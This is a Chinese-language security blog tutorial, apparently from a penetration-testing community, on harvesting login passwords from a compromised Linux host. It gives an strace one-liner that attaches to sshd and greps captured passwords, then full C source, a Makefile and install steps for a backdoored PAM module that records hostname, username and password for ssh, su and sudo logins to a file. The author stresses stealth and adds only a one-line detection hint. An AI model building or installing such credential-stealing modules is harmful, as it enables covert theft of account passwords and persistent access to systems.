本文目录
用strace工具监控记录ssh进程
strace
是一款可跟踪系统调用和信号的工具
可以用下面这行命令监控 sshd
进程
解读一下吧,-f -F是跟踪子进程,-p是获取pid(里面的ps aux是列出所有进程,grep是找到ashd的进程和排除grep本身进程)。-e是跟踪读写相关调用,后面就是一些设置字符串最大长度和输出到指定文件,最后的&是后台运行
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)
ssh登录以后,查看结果,可以看到账号密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log
这个办法确实是操作简单,也很好理解,但是被排查出来也很容易,比如按照上一篇里麋鹿说过的那些排查手法
看进程
或者是top
可以看到很明显,不够隐秘,而且很明显,该方法占用的资源太多了
所以,接下来麋鹿介绍另外一个手法
简单理解就是,PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,每个程序在/etc/pam.d/ 目录都有一个对应的配置文件,不同程序在登录时都对应各自的配置文件(比如/etc/pam.d/sshd)
另外/lib(/lib64)/security/里存放了系统所有的PAM模块,我们在/lib里导入一个我们自定义的PAM模块,并在/etc里对应程序的配置文件里以加载动态库的形式导入该PAM模块,首先监听ssh su sudo
PAM是一套允许系统管理员整合多种不同的认证方法到系统服务中的机制。PAM 提供了一种动态的认证支持,使得应用程序可以通过 PAM 接口进行身份验证,而无需关心后端的认证技术细节。这意味着不同的认证方法(如密码、生物识别、密钥卡)可以被透明地整合到系统中,而不需要修改应用程序本身。
抓重点:模块化,sshd sudo这些服务都需要定义用于认证的PAM模块。位置在etc/pam.d/,例如
在<security/pam_appl.h>
和 <security/pam_modules.h>
头文件中定义了必要的API。
PAM模块中的函数需要正确处理错误,并返回适当的PAM状态代码(例如 PAM_SUCCESS
、PAM_AUTH_ERR
)。
在上面说到的/etc/pam.d/里配置模块
编译为so文件,放在/lib(/lib64)/security/中
一个PAM模块应该包含以下几个函数
用于处理用户认证过程,验证用户的凭据(例如账号密码)
设置或更新用户凭据
用于账户管理,如检查密码是否过期,或者用户是否有权限登录系统
根据需求加入,本次实验就不用
这两个函数分别在用户会话开始和结束时调用,可以用于执行相关的任务,如记录日志或配置用户环境
用于更改用户认证令牌(例如密码)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <unistd.h>
#define STOREPATH "/tmp/example.txt"
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
if (retval != PAM_SUCCESS) {
return retval;
}
retval = pam_get_authtok(pamh,PAM_AUTHTOK,&password,NULL);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
FILE *fp = NULL;
fp = fopen(STOREPATH, "a+");
fprintf(fp, "%s:%s:%s\n",hostname,username,password);
fclose(fp);
return PAM_SUCCESS;
}
前面讲的很清楚了,其实很好理解,但是麋鹿怕开发基础薄弱的读者看不懂,那就浅说一下吧
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <unistd.h>
其中<unistd.h>
是 Unix 标准库头文件,提供了许多 Unix 操作系统接口。
#define STOREPATH "/tmp/example.txt"
pam_sm_setcred和pam_sm_acct_mgmt
这两个函数只需要返回 PAM_SUCCESS
就行了,记录密码功能主要在下面这个函数
pam_sm_authenticate
先是函数的声明
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )
下面就是定义几个指针和数组,用于存储函数返回值 账号密码这些
然后是调用 pam_get_user
函数,从 PAM 堆栈中获取用户名,并存储在username指针
获取密码也同样原理,只不过对应函数为pam_get_authtok
最后就是写入文件
代码清晰明了,将上面的代码保存为ssh.c,下面进行编译
麋鹿的系统为centos,命令如下,其他系统的读者自行修改
sudo yum install pam-devel
在ssh.c同目录创建一个名为Makefile的文件。写入以下内容
CFLAGS += -Werror -Wall
ssh.so: ssh.c#这里前面要一个tap
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $<
然后make编译
显示gcc命令行说明编译成功
讲生成的so文件放在/lib64/security(Ubuntu对应/lib/security)
cp example.so /lib64/security/
centos对应/etc/pam.d/sshd和
/etc/pam.d/sudo
Ubuntu对应/etc/pam.d/common-auth
auth optional ssh.so
ccount optional ssh.so
然后重新连一下ssh,以及执行以下su和sudo,读一下记录的文件
ok,读到了,这个手法比较隐秘,只要对方不去看配置文件就发现不了,不过也就没人会去翻配置文件。
检查pam_unix.so的修改时间
stat /lib/security
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读